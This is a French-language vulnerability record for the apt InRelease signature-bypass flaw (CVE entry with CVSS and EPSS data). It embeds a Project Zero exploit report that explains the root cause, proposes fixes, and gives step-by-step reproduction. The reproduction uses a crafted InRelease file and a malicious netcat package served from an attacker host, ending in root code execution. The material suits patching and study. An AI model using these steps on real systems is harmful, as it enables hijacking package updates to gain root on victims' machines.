CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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The apt package in Debian jessie before 1.0.9.8.4, in Debian unstable before 1.4~beta2, in Ubuntu 14.04 LTS before 1.0.1ubuntu2.17, in Ubuntu 16.04 LTS before 1.2.15ubuntu0.2, and in Ubuntu 16.10 before 1.3.2ubuntu0.1 allows man-in-the-middle attackers to bypass a repository-signing protection mechanism by leveraging improper error handling when validating InRelease file signatures.
Improper Certificate Validation The product does not validate, or incorrectly validates, a certificate.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
5.9
MEDIUM
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
High
successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
None
There is no loss of confidentiality within the impacted component.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
None
There is no impact to availability within the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
4.3
AV:N/AC:M/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
10.21%
–
–
2022-04-03
–
–
10.21%
–
–
2022-12-25
–
–
10.21%
–
–
2023-01-01
–
–
10.21%
–
–
2023-02-26
–
–
10.21%
–
–
2023-03-12
–
–
–
1.4%
–
2023-04-30
–
–
–
1.36%
–
2023-08-13
–
–
–
1.36%
–
2024-02-11
–
–
–
1.36%
–
2024-06-02
–
–
–
1.36%
–
2024-06-02
–
–
–
1.36%
–
2024-09-15
–
–
–
1.36%
–
2024-09-22
–
–
–
1.36%
–
2024-10-13
–
–
–
1.36%
–
2024-12-22
–
–
–
1.13%
–
2025-01-12
–
–
–
1.13%
–
2025-01-19
–
–
–
1.13%
–
2025-03-18
–
–
–
–
5.96%
2025-03-18
–
–
–
–
5.96,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2016-12-13 23h00 +00:00 Auteur : Google Security Research EDB Vérifié : Yes
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1020
== Vulnerability ==
When apt-get updates a repository that uses an InRelease file (clearsigned
Release files), this file is processed as follows:
First, the InRelease file is downloaded to disk.
In a subprocess running the gpgv helper, "apt-key verify" (with some more
arguments) is executed through the following callchain:
gpgv.cc:main -> pkgAcqMethod::Run -> GPGVMethod::URIAcquire
-> GPGVMethod::VerifyGetSigners -> ExecGPGV
ExecGPGV() splits the clearsigned file into payload and signature using
SplitClearSignedFile(), calls apt-key on these two files to perform the
cryptographic signature verification, then discards the split files and only
retains the clearsigned original. SplitClearSignedFile() ignores leading and
trailing garbage.
Afterwards, in the parent process, the InRelease file has to be loaded again
so that its payload can be processed. At this point, the code
isn't aware anymore whether the Release file was clearsigned or
split-signed, so the file is opened using OpenMaybeClearSignedFile(), which
first attempts to parse the file as a clearsigned (InRelease) file and extract
the payload, then falls back to treating the file as the file as a split-signed
(Release) file if the file format couldn't be recognized.
The weakness here is: If an attacker can create an InRelease file that
is parsed as a proper split-signed file during signature validation, but then
isn't recognized by OpenMaybeClearSignedFile(), the "leading garbage" that was
ignored by the signature validation is interpreted as repository metadata,
bypassing the signing scheme.
It first looks as if it would be impossible to create a file that is recognized
as split-signed by ExecGPGV(), but isn't recognized by
OpenMaybeClearSignedFile(), because both use the same function,
SplitClearSignedFile(), for parsing the file. However, multiple executions of
SplitClearSignedFile() on the same data can actually have different non-error
results because of a bug.
SplitClearSignedFile() uses getline() to parse the input file. A return code
of -1, which signals that either EOF or an error occured, is always treated
as EOF. The Linux manpage only lists EINVAL (caused by bad arguments) as
possible error code, but because the function allocates (nearly) unbounded
amounts of memory, it can actually also fail with ENOMEM if it runs out of
memory.
Therefore, if an attacker can cause the address space in the main apt-get
process to be sufficiently constrained to prevent allocation of a large line
buffer while the address space of the gpgv helper process is less constrained
and permits the allocation of a buffer with the same size, the attacker can use
this to fake an end-of-file condition in SplitClearSignedFile() that causes the
file to be parsed as a normal Release file.
A very crude way to cause such a constraint on a 32-bit machine is based on
abusing ASLR. Because ASLR randomizes the address space after each execve(),
thereby altering how much contiguous virtual memory is available, an allocation
that attempts to use the average available virtual memory should ideally succeed
50% of the time, resulting in an upper limit of 25% for the success rate of the
whole attack. (That's not very effective, and a real attacker would likely want
a much higher success rate, but it works for a proof of concept.)
This is not necessarily a limitation of the vulnerability, just a limitation
of the way the exploit is designed.
I think that it would make sense to fix this as follows:
- Set errno to 0 before calling getline(), verify that it's still 0 after
returning -1, treat it as an error if errno isn't 0 anymore.
- Consider splitting the InRelease file only once, before signature validation,
and then deleting the original clearsigned file instead of the payload file.
This would get rid of the weakness that the file is parsed twice and parsing
differences can have security consequences, which is a pretty brittle design.
- I'm not sure whether this bug would have been exploitable if the parser for
split files or the parser for Release files had been stricter. You might want
to consider whether you could harden this code that way.
== Reproduction instructions ==
These steps are probably more detailed than necessary.
First, prepare a clean Debian VM for the victim:
- download debian-8.6.0-i386-netinst.iso (it is important that this
is i386 and not amd64)
- install Virtualbox (I'm using version 4.6.36 from Ubuntu)
- create a new VM with the following properties:
- type "Linux", version "Debian (32-bit)"
- 8192 MB RAM (this probably doesn't matter much, especially
if you enable swap)
- create a new virtual harddrive, size 20GB (also doesn't matter much)
- launch the VM, insert the CD
- pick graphical install
- in the installer, use defaults everywhere, apart from enabling Xfce
in the software selection
After installation has finished, log in, launch a terminal,
"sudo nano /etc/apt/sources.list", change the "deb" line for jessie-updates
so that it points to some unused port on the host machine instead of
the proper mirror
("deb http://192.168.0.2:1337/debian/ jessie-updates main" or so).
This simulates a MITM attack or compromised mirror.
On the host (as the attacker):
$ tar xvf apt_sig_bypass.tar
apt_sig_bypass/
apt_sig_bypass/debian/
apt_sig_bypass/debian/netcat-evil.deb
apt_sig_bypass/debian/dists/
apt_sig_bypass/debian/dists/jessie-updates/
apt_sig_bypass/debian/dists/jessie-updates/InRelease.part1
apt_sig_bypass/debian/dists/jessie-updates/main/
apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/
apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/Packages
apt_sig_bypass/make_inrelease.py
$ cd apt_sig_bypass/
$ curl --output debian/dists/jessie-updates/InRelease.part2 http://ftp.us.debian.org/debian/dists/jessie-updates/InRelease
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 141k 100 141k 0 0 243k 0 --:--:-- --:--:-- --:--:-- 243k
$ ./make_inrelease.py
$ ls -lh debian/dists/jessie-updates/InRelease
-rw-r--r-- 1 user user 1.3G Dec 5 17:13 debian/dists/jessie-updates/InRelease
$ python -m SimpleHTTPServer 1337 .
Serving HTTP on 0.0.0.0 port 1337 ...
Now, in the VM, as root, run "apt-get update".
It will probably fail - run it again until it doesn't fail anymore.
The errors that can occur are "Clearsigned file isn't valid" (when the
allocation during gpg verification fails) and some message about
a hash mismatch (when both allocations succeed). After "apt-get update"
has succeeded, run "apt-get upgrade" and confirm the upgrade. The result should
look like this (server IP censored, irrelevant output removed and marked with
"[...]"):
root@debian:/home/user# apt-get update
Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB]
[...]
Hit http://ftp.us.debian.org jessie-updates InRelease
[...]
100% [1 InRelease gpgv 1,342 MB] 28.6 MB/s 0sSplitting up /var/lib/apt/lists/partial/{{{SERVERIP}}}:1337_debian_dists_jessie-updates_InRelease intIgn http://{{{SERVERIP}}}:1337 jessie-updates InRelease
E: GPG error: http://{{{SERVERIP}}}:1337 jessie-updates InRelease: Clearsigned file isn't valid, got 'NODATA' (does the network require authentication?)
root@debian:/home/user# apt-get update
[...]
Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB]
[...]
Hit http://ftp.us.debian.org jessie-updates InRelease
Get:4 http://{{{SERVERIP}}}:1337 jessie-updates/main i386 Packages [170 B]
[...]
Fetched 1,349 MB in 55s (24.4 MB/s)
Reading package lists... Done
root@debian:/home/user# apt-get upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
netcat-traditional
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 666 B of archives.
After this operation, 109 kB disk space will be freed.
Do you want to continue? [Y/n]
Get:1 http://{{{SERVERIP}}}:1337/debian/ jessie-updates/main netcat-traditional i386 9000 [666 B]
Fetched 666 B in 0s (0 B/s)
Reading changelogs... Done
dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional':
missing description
dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional':
missing maintainer
(Reading database ... 86469 files and directories currently installed.)
Preparing to unpack .../netcat-traditional_9000_i386.deb ...
arbitrary code execution reached
uid=0(root) gid=0(root) groups=0(root)
[...]
As you can see, if the attacker gets lucky with the ASLR randomization, there
are no security warnings and "apt-get upgrade" simply installs the malicious
version of the package. (The dpkg warnings are just because I created a minimal
package file, without some of the usual information.)
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40916.zip
Products Mentioned
Configuraton 0
Debian>>Advanced_package_tool >> Version To (excluding) 1.0.9.8.4